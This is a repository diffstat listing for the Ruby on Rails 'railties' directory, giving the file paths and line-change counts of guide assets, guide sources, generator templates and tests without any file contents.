aboutsummaryrefslogtreecommitdiffstats
path: root/railties
diff options
context:
space:
mode:
Diffstat (limited to 'railties')
-rw-r--r--railties/CHANGELOG2386
-rw-r--r--railties/CHANGELOG.md2514
-rw-r--r--railties/MIT-LICENSE2
-rw-r--r--railties/README.rdoc19
-rw-r--r--[-rwxr-xr-x]railties/Rakefile25
-rw-r--r--railties/guides/assets/images/belongs_to.pngbin34017 -> 0 bytes
-rw-r--r--railties/guides/assets/images/book_icon.gifbin337 -> 0 bytes
-rw-r--r--railties/guides/assets/images/bullet.gifbin60 -> 0 bytes
-rw-r--r--railties/guides/assets/images/challenge.pngbin54134 -> 0 bytes
-rw-r--r--railties/guides/assets/images/chapters_icon.gifbin628 -> 0 bytes
-rw-r--r--railties/guides/assets/images/check_bullet.gifbin384 -> 0 bytes
-rw-r--r--railties/guides/assets/images/credits_pic_blank.gifbin613 -> 0 bytes
-rw-r--r--railties/guides/assets/images/csrf.pngbin41996 -> 0 bytes
-rw-r--r--railties/guides/assets/images/customized_error_messages.pngbin5055 -> 0 bytes
-rw-r--r--railties/guides/assets/images/edge_badge.pngbin7945 -> 0 bytes
-rw-r--r--railties/guides/assets/images/error_messages.pngbin14645 -> 0 bytes
-rw-r--r--railties/guides/assets/images/feature_tile.gifbin43 -> 0 bytes
-rw-r--r--railties/guides/assets/images/footer_tile.gifbin44 -> 0 bytes
-rw-r--r--railties/guides/assets/images/fxn.pngbin20664 -> 0 bytes
-rw-r--r--railties/guides/assets/images/grey_bullet.gifbin45 -> 0 bytes
-rw-r--r--railties/guides/assets/images/habtm.pngbin63801 -> 0 bytes
-rw-r--r--railties/guides/assets/images/has_many.pngbin38582 -> 0 bytes
-rw-r--r--railties/guides/assets/images/has_many_through.pngbin100220 -> 0 bytes
-rw-r--r--railties/guides/assets/images/has_one.pngbin39022 -> 0 bytes
-rw-r--r--railties/guides/assets/images/has_one_through.pngbin92594 -> 0 bytes
-rw-r--r--railties/guides/assets/images/header_backdrop.pngbin882 -> 0 bytes
-rw-r--r--railties/guides/assets/images/header_tile.gifbin44 -> 0 bytes
-rw-r--r--railties/guides/assets/images/i18n/demo_html_safe.pngbin11946 -> 0 bytes
-rw-r--r--railties/guides/assets/images/i18n/demo_localized_pirate.pngbin15027 -> 0 bytes
-rw-r--r--railties/guides/assets/images/i18n/demo_translated_en.pngbin12057 -> 0 bytes
-rw-r--r--railties/guides/assets/images/i18n/demo_translated_pirate.pngbin13392 -> 0 bytes
-rw-r--r--railties/guides/assets/images/i18n/demo_translation_missing.pngbin13143 -> 0 bytes
-rw-r--r--railties/guides/assets/images/i18n/demo_untranslated.pngbin11925 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/README5
-rw-r--r--railties/guides/assets/images/icons/callouts/1.pngbin329 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/10.pngbin361 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/11.pngbin565 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/12.pngbin617 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/13.pngbin623 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/14.pngbin411 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/15.pngbin640 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/2.pngbin353 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/3.pngbin350 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/4.pngbin345 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/5.pngbin348 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/6.pngbin355 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/7.pngbin344 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/8.pngbin357 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/callouts/9.pngbin357 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/caution.pngbin2554 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/example.pngbin2354 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/home.pngbin1340 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/important.pngbin2657 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/next.pngbin1302 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/note.pngbin2730 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/prev.pngbin1348 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/tip.pngbin2602 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/up.pngbin1320 -> 0 bytes
-rw-r--r--railties/guides/assets/images/icons/warning.pngbin2828 -> 0 bytes
-rw-r--r--railties/guides/assets/images/jaimeiniesta.jpgbin11913 -> 0 bytes
-rw-r--r--railties/guides/assets/images/nav_arrow.gifbin427 -> 0 bytes
-rw-r--r--railties/guides/assets/images/polymorphic.pngbin85248 -> 0 bytes
-rw-r--r--railties/guides/assets/images/posts_index.pngbin60846 -> 0 bytes
-rw-r--r--railties/guides/assets/images/radar.pngbin19521 -> 0 bytes
-rw-r--r--railties/guides/assets/images/rails_guides_logo.gifbin5114 -> 0 bytes
-rw-r--r--railties/guides/assets/images/rails_logo_remix.gifbin8533 -> 0 bytes
-rw-r--r--railties/guides/assets/images/rails_welcome.pngbin121314 -> 0 bytes
-rw-r--r--railties/guides/assets/images/session_fixation.pngbin47860 -> 0 bytes
-rw-r--r--railties/guides/assets/images/tab_grey.gifbin4924 -> 0 bytes
-rw-r--r--railties/guides/assets/images/tab_info.gifbin4762 -> 0 bytes
-rw-r--r--railties/guides/assets/images/tab_note.gifbin4807 -> 0 bytes
-rw-r--r--railties/guides/assets/images/tab_red.gifbin4753 -> 0 bytes
-rw-r--r--railties/guides/assets/images/tab_yellow.gifbin4759 -> 0 bytes
-rw-r--r--railties/guides/assets/images/tab_yellow.pngbin1611 -> 0 bytes
-rw-r--r--railties/guides/assets/images/validation_error_messages.pngbin1107 -> 0 bytes
-rw-r--r--railties/guides/assets/images/vijaydev.jpgbin4610 -> 0 bytes
-rw-r--r--railties/guides/assets/javascripts/guides.js7
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js59
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js75
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js59
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js65
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js100
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js97
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js91
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js55
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js41
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js52
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js67
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js52
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js57
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js58
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js72
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js88
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js33
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js74
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js64
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js55
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js94
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js51
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js66
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js56
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js69
-rw-r--r--railties/guides/assets/javascripts/syntaxhighlighter/shCore.js17
-rw-r--r--railties/guides/assets/stylesheets/fixes.css16
-rw-r--r--railties/guides/assets/stylesheets/main.css445
-rw-r--r--railties/guides/assets/stylesheets/print.css52
-rw-r--r--railties/guides/assets/stylesheets/reset.css43
-rw-r--r--railties/guides/assets/stylesheets/style.css13
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCore.css226
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css328
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css331
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css339
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css324
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css328
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css324
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css324
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css324
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css117
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css120
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css128
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css113
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css117
-rwxr-xr-xrailties/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css113
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css113
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css113
-rw-r--r--railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css116
-rw-r--r--railties/guides/code/getting_started/Gemfile32
-rw-r--r--railties/guides/code/getting_started/README261
-rw-r--r--railties/guides/code/getting_started/Rakefile7
-rw-r--r--railties/guides/code/getting_started/app/assets/images/rails.pngbin6646 -> 0 bytes
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/application.js9
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee3
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee3
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/application.css7
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss56
-rw-r--r--railties/guides/code/getting_started/app/controllers/application_controller.rb3
-rw-r--r--railties/guides/code/getting_started/app/controllers/comments_controller.rb16
-rw-r--r--railties/guides/code/getting_started/app/controllers/home_controller.rb5
-rw-r--r--railties/guides/code/getting_started/app/controllers/posts_controller.rb84
-rw-r--r--railties/guides/code/getting_started/app/helpers/application_helper.rb2
-rw-r--r--railties/guides/code/getting_started/app/helpers/comments_helper.rb2
-rw-r--r--railties/guides/code/getting_started/app/helpers/home_helper.rb2
-rw-r--r--railties/guides/code/getting_started/app/helpers/posts_helper.rb5
-rw-r--r--railties/guides/code/getting_started/app/mailers/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/app/models/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/app/models/comment.rb3
-rw-r--r--railties/guides/code/getting_started/app/models/post.rb11
-rw-r--r--railties/guides/code/getting_started/app/models/tag.rb3
-rw-r--r--railties/guides/code/getting_started/app/views/comments/_comment.html.erb15
-rw-r--r--railties/guides/code/getting_started/app/views/comments/_form.html.erb13
-rw-r--r--railties/guides/code/getting_started/app/views/home/index.html.erb2
-rw-r--r--railties/guides/code/getting_started/app/views/layouts/application.html.erb14
-rw-r--r--railties/guides/code/getting_started/app/views/posts/_form.html.erb32
-rw-r--r--railties/guides/code/getting_started/app/views/posts/edit.html.erb6
-rw-r--r--railties/guides/code/getting_started/app/views/posts/index.html.erb27
-rw-r--r--railties/guides/code/getting_started/app/views/posts/new.html.erb5
-rw-r--r--railties/guides/code/getting_started/app/views/posts/show.html.erb31
-rw-r--r--railties/guides/code/getting_started/app/views/tags/_form.html.erb12
-rw-r--r--railties/guides/code/getting_started/config.ru4
-rw-r--r--railties/guides/code/getting_started/config/application.rb48
-rw-r--r--railties/guides/code/getting_started/config/boot.rb6
-rw-r--r--railties/guides/code/getting_started/config/database.yml25
-rw-r--r--railties/guides/code/getting_started/config/environment.rb5
-rw-r--r--railties/guides/code/getting_started/config/environments/development.rb30
-rw-r--r--railties/guides/code/getting_started/config/environments/production.rb60
-rw-r--r--railties/guides/code/getting_started/config/environments/test.rb42
-rw-r--r--railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb7
-rw-r--r--railties/guides/code/getting_started/config/initializers/inflections.rb10
-rw-r--r--railties/guides/code/getting_started/config/initializers/mime_types.rb5
-rw-r--r--railties/guides/code/getting_started/config/initializers/secret_token.rb7
-rw-r--r--railties/guides/code/getting_started/config/initializers/session_store.rb8
-rw-r--r--railties/guides/code/getting_started/config/initializers/wrap_parameters.rb14
-rw-r--r--railties/guides/code/getting_started/config/locales/en.yml5
-rw-r--r--railties/guides/code/getting_started/config/routes.rb64
-rw-r--r--railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb11
-rw-r--r--railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb12
-rw-r--r--railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb11
-rw-r--r--railties/guides/code/getting_started/db/schema.rb43
-rw-r--r--railties/guides/code/getting_started/db/seeds.rb7
-rw-r--r--railties/guides/code/getting_started/doc/README_FOR_APP2
-rw-r--r--railties/guides/code/getting_started/lib/assets/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/lib/tasks/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/public/404.html26
-rw-r--r--railties/guides/code/getting_started/public/422.html26
-rw-r--r--railties/guides/code/getting_started/public/500.html26
-rw-r--r--railties/guides/code/getting_started/public/favicon.ico0
-rw-r--r--railties/guides/code/getting_started/public/robots.txt5
-rwxr-xr-xrailties/guides/code/getting_started/script/rails6
-rw-r--r--railties/guides/code/getting_started/test/fixtures/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/fixtures/comments.yml11
-rw-r--r--railties/guides/code/getting_started/test/fixtures/posts.yml11
-rw-r--r--railties/guides/code/getting_started/test/fixtures/tags.yml9
-rw-r--r--railties/guides/code/getting_started/test/functional/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/functional/comments_controller_test.rb7
-rw-r--r--railties/guides/code/getting_started/test/functional/home_controller_test.rb9
-rw-r--r--railties/guides/code/getting_started/test/functional/posts_controller_test.rb49
-rw-r--r--railties/guides/code/getting_started/test/integration/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/performance/browsing_test.rb12
-rw-r--r--railties/guides/code/getting_started/test/test_helper.rb13
-rw-r--r--railties/guides/code/getting_started/test/unit/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/unit/comment_test.rb7
-rw-r--r--railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb4
-rw-r--r--railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb4
-rw-r--r--railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb4
-rw-r--r--railties/guides/code/getting_started/test/unit/post_test.rb7
-rw-r--r--railties/guides/code/getting_started/test/unit/tag_test.rb7
-rw-r--r--railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/vendor/plugins/.gitkeep0
-rw-r--r--railties/guides/rails_guides.rb50
-rw-r--r--railties/guides/rails_guides/generator.rb242
-rw-r--r--railties/guides/rails_guides/helpers.rb29
-rw-r--r--railties/guides/rails_guides/indexer.rb69
-rw-r--r--railties/guides/rails_guides/levenshtein.rb31
-rw-r--r--railties/guides/rails_guides/textile_extensions.rb63
-rw-r--r--railties/guides/source/2_2_release_notes.textile422
-rw-r--r--railties/guides/source/2_3_release_notes.textile610
-rw-r--r--railties/guides/source/3_0_release_notes.textile595
-rw-r--r--railties/guides/source/3_1_release_notes.textile431
-rw-r--r--railties/guides/source/action_controller_overview.textile817
-rw-r--r--railties/guides/source/action_mailer_basics.textile523
-rw-r--r--railties/guides/source/action_view_overview.textile1497
-rw-r--r--railties/guides/source/active_model_basics.textile205
-rw-r--r--railties/guides/source/active_record_basics.textile218
-rw-r--r--railties/guides/source/active_record_querying.textile1260
-rw-r--r--railties/guides/source/active_record_validations_callbacks.textile1282
-rw-r--r--railties/guides/source/active_resource_basics.textile120
-rw-r--r--railties/guides/source/active_support_core_extensions.textile3609
-rw-r--r--railties/guides/source/ajax_on_rails.textile267
-rw-r--r--railties/guides/source/api_documentation_guidelines.textile185
-rw-r--r--railties/guides/source/asset_pipeline.textile661
-rw-r--r--railties/guides/source/association_basics.textile1860
-rw-r--r--railties/guides/source/caching_with_rails.textile405
-rw-r--r--railties/guides/source/command_line.textile572
-rw-r--r--railties/guides/source/configuring.textile625
-rw-r--r--railties/guides/source/contributing_to_ruby_on_rails.textile389
-rw-r--r--railties/guides/source/credits.html.erb72
-rw-r--r--railties/guides/source/debugging_rails_applications.textile714
-rw-r--r--railties/guides/source/engines.textile393
-rw-r--r--railties/guides/source/form_helpers.textile798
-rw-r--r--railties/guides/source/generators.textile621
-rw-r--r--railties/guides/source/getting_started.textile1892
-rw-r--r--railties/guides/source/i18n.textile931
-rw-r--r--railties/guides/source/index.html.erb191
-rw-r--r--railties/guides/source/initialization.textile1116
-rw-r--r--railties/guides/source/layout.html.erb161
-rw-r--r--railties/guides/source/layouts_and_rendering.textile1196
-rw-r--r--railties/guides/source/migrations.textile673
-rw-r--r--railties/guides/source/nested_model_forms.textile222
-rw-r--r--railties/guides/source/performance_testing.textile597
-rw-r--r--railties/guides/source/plugins.textile464
-rw-r--r--railties/guides/source/rails_application_templates.textile240
-rw-r--r--railties/guides/source/rails_on_rack.textile234
-rw-r--r--railties/guides/source/routing.textile885
-rw-r--r--railties/guides/source/ruby_on_rails_guides_guidelines.textile79
-rw-r--r--railties/guides/source/security.textile1004
-rw-r--r--railties/guides/source/testing.textile947
-rw-r--r--railties/guides/w3c_validator.rb91
-rw-r--r--railties/lib/rails.rb62
-rw-r--r--railties/lib/rails/all.rb3
-rw-r--r--railties/lib/rails/application.rb164
-rw-r--r--railties/lib/rails/application/bootstrap.rb35
-rw-r--r--railties/lib/rails/application/configuration.rb92
-rw-r--r--railties/lib/rails/application/finisher.rb67
-rw-r--r--railties/lib/rails/application/railties.rb2
-rw-r--r--railties/lib/rails/application/route_inspector.rb106
-rw-r--r--railties/lib/rails/application/routes_reloader.rb28
-rw-r--r--railties/lib/rails/backtrace_cleaner.rb17
-rw-r--r--railties/lib/rails/code_statistics.rb35
-rw-r--r--railties/lib/rails/commands.rb15
-rw-r--r--railties/lib/rails/commands/application.rb1
-rw-r--r--railties/lib/rails/commands/benchmarker.rb2
-rw-r--r--railties/lib/rails/commands/console.rb88
-rw-r--r--railties/lib/rails/commands/dbconsole.rb96
-rw-r--r--railties/lib/rails/commands/plugin.rb542
-rw-r--r--railties/lib/rails/commands/plugin_new.rb2
-rw-r--r--railties/lib/rails/commands/profiler.rb2
-rw-r--r--railties/lib/rails/commands/runner.rb1
-rw-r--r--railties/lib/rails/commands/server.rb20
-rw-r--r--railties/lib/rails/configuration.rb33
-rw-r--r--railties/lib/rails/console/app.rb49
-rw-r--r--railties/lib/rails/console/helpers.rb14
-rw-r--r--railties/lib/rails/deprecation.rb18
-rw-r--r--railties/lib/rails/engine.rb123
-rw-r--r--railties/lib/rails/engine/commands.rb4
-rw-r--r--railties/lib/rails/engine/configuration.rb9
-rw-r--r--railties/lib/rails/engine/railties.rb9
-rw-r--r--railties/lib/rails/generators.rb21
-rw-r--r--railties/lib/rails/generators/actions.rb100
-rw-r--r--railties/lib/rails/generators/active_model.rb6
-rw-r--r--railties/lib/rails/generators/app_base.rb97
-rw-r--r--railties/lib/rails/generators/base.rb60
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/index.html.erb38
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/show.html.erb2
-rw-r--r--railties/lib/rails/generators/generated_attribute.rb76
-rw-r--r--railties/lib/rails/generators/migration.rb4
-rw-r--r--railties/lib/rails/generators/named_base.rb22
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb14
-rw-r--r--railties/lib/rails/generators/rails/app/templates/Gemfile14
-rw-r--r--railties/lib/rails/generators/rails/app/templates/README10
-rw-r--r--[-rwxr-xr-x]railties/lib/rails/generators/rails/app/templates/Rakefile1
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb31
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/boot.rb2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt28
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt63
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt27
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/routes.rb10
-rw-r--r--railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt4
-rw-r--r--railties/lib/rails/generators/rails/app/templates/gitignore1
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/404.html2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/422.html2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/500.html2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/humans.txt.tt7
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/index.html6
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/robots.txt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb2
-rw-r--r--railties/lib/rails/generators/rails/controller/templates/controller.rb2
-rw-r--r--railties/lib/rails/generators/rails/migration/migration_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/model/model_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb59
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec2
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/Gemfile2
-rw-r--r--[-rwxr-xr-x]railties/lib/rails/generators/rails/plugin_new/templates/Rakefile10
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt2
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/gitignore8
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb3
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb1
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb5
-rw-r--r--railties/lib/rails/generators/rails/resource/resource_generator.rb8
-rw-r--r--railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb13
-rw-r--r--railties/lib/rails/generators/rails/scaffold/USAGE24
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb28
-rw-r--r--railties/lib/rails/generators/rails/task/USAGE9
-rw-r--r--railties/lib/rails/generators/rails/task/task_generator.rb12
-rw-r--r--railties/lib/rails/generators/rails/task/templates/task.rb8
-rw-r--r--railties/lib/rails/generators/resource_helpers.rb6
-rw-r--r--railties/lib/rails/generators/test_case.rb17
-rw-r--r--railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb2
-rw-r--r--railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb3
-rw-r--r--railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb21
-rw-r--r--railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb10
-rw-r--r--railties/lib/rails/info.rb4
-rw-r--r--railties/lib/rails/initializable.rb2
-rw-r--r--railties/lib/rails/paths.rb86
-rw-r--r--railties/lib/rails/performance_test_help.rb2
-rw-r--r--railties/lib/rails/plugin.rb91
-rw-r--r--railties/lib/rails/queueing.rb73
-rw-r--r--railties/lib/rails/rack.rb1
-rw-r--r--railties/lib/rails/rack/content_length.rb38
-rw-r--r--railties/lib/rails/rack/debugger.rb4
-rw-r--r--railties/lib/rails/rack/log_tailer.rb10
-rw-r--r--railties/lib/rails/rack/logger.rb38
-rw-r--r--railties/lib/rails/railtie.rb18
-rw-r--r--railties/lib/rails/railtie/configuration.rb14
-rw-r--r--railties/lib/rails/ruby_version_check.rb14
-rw-r--r--railties/lib/rails/rubyprof_ext.rb2
-rw-r--r--railties/lib/rails/source_annotation_extractor.rb30
-rw-r--r--railties/lib/rails/tasks/documentation.rake70
-rw-r--r--railties/lib/rails/tasks/engine.rake1
-rw-r--r--railties/lib/rails/tasks/statistics.rake1
-rw-r--r--railties/lib/rails/test_help.rb28
-rw-r--r--railties/lib/rails/test_unit/sub_test_task.rb8
-rw-r--r--railties/lib/rails/test_unit/testing.rake88
-rw-r--r--railties/lib/rails/version.rb4
-rw-r--r--railties/railties.gemspec11
-rw-r--r--railties/test/abstract_unit.rb5
-rw-r--r--railties/test/application/asset_debugging_test.rb12
-rw-r--r--railties/test/application/assets_test.rb91
-rw-r--r--railties/test/application/build_original_fullpath_test.rb27
-rw-r--r--railties/test/application/configuration_test.rb113
-rw-r--r--railties/test/application/console_test.rb16
-rw-r--r--railties/test/application/generators_test.rb2
-rw-r--r--railties/test/application/initializers/boot_test.rb2
-rw-r--r--railties/test/application/initializers/check_ruby_version_test.rb39
-rw-r--r--railties/test/application/initializers/frameworks_test.rb35
-rw-r--r--railties/test/application/initializers/hooks_test.rb2
-rw-r--r--railties/test/application/initializers/i18n_test.rb9
-rw-r--r--railties/test/application/initializers/load_path_test.rb2
-rw-r--r--railties/test/application/initializers/notifications_test.rb2
-rw-r--r--railties/test/application/loading_test.rb217
-rw-r--r--railties/test/application/middleware/best_practices_test.rb2
-rw-r--r--railties/test/application/middleware/cache_test.rb8
-rw-r--r--railties/test/application/middleware/cookies_test.rb47
-rw-r--r--railties/test/application/middleware/exceptions_test.rb117
-rw-r--r--railties/test/application/middleware/remote_ip_test.rb2
-rw-r--r--railties/test/application/middleware/sendfile_test.rb15
-rw-r--r--railties/test/application/middleware/session_test.rb50
-rw-r--r--railties/test/application/middleware/show_exceptions_test.rb41
-rw-r--r--railties/test/application/middleware_test.rb59
-rw-r--r--railties/test/application/paths_test.rb6
-rw-r--r--railties/test/application/queue_test.rb145
-rw-r--r--railties/test/application/rack/logger_test.rb4
-rw-r--r--railties/test/application/rackup_test.rb4
-rw-r--r--railties/test/application/rake/migrations_test.rb158
-rw-r--r--railties/test/application/rake/notes_test.rb134
-rw-r--r--railties/test/application/rake_test.rb128
-rw-r--r--railties/test/application/route_inspect_test.rb133
-rw-r--r--railties/test/application/routing_test.rb105
-rw-r--r--railties/test/application/runner_test.rb2
-rw-r--r--railties/test/application/test_test.rb27
-rw-r--r--railties/test/application/url_generation_test.rb4
-rw-r--r--railties/test/backtrace_cleaner_test.rb54
-rw-r--r--railties/test/commands/console_test.rb106
-rw-r--r--railties/test/commands/dbconsole_test.rb160
-rw-r--r--railties/test/commands/server_test.rb26
-rw-r--r--railties/test/engine_test.rb24
-rw-r--r--railties/test/fixtures/lib/generators/usage_template/USAGE1
-rw-r--r--railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb5
-rw-r--r--railties/test/generators/actions_test.rb47
-rw-r--r--railties/test/generators/app_generator_test.rb170
-rw-r--r--railties/test/generators/generated_attribute_test.rb7
-rw-r--r--railties/test/generators/mailer_generator_test.rb29
-rw-r--r--railties/test/generators/migration_generator_test.rb84
-rw-r--r--railties/test/generators/model_generator_test.rb86
-rw-r--r--railties/test/generators/named_base_test.rb9
-rw-r--r--railties/test/generators/namespaced_generators_test.rb17
-rw-r--r--railties/test/generators/orm_test.rb38
-rw-r--r--railties/test/generators/plugin_new_generator_test.rb66
-rw-r--r--railties/test/generators/scaffold_controller_generator_test.rb26
-rw-r--r--railties/test/generators/scaffold_generator_test.rb24
-rw-r--r--railties/test/generators/shared_generator_tests.rb19
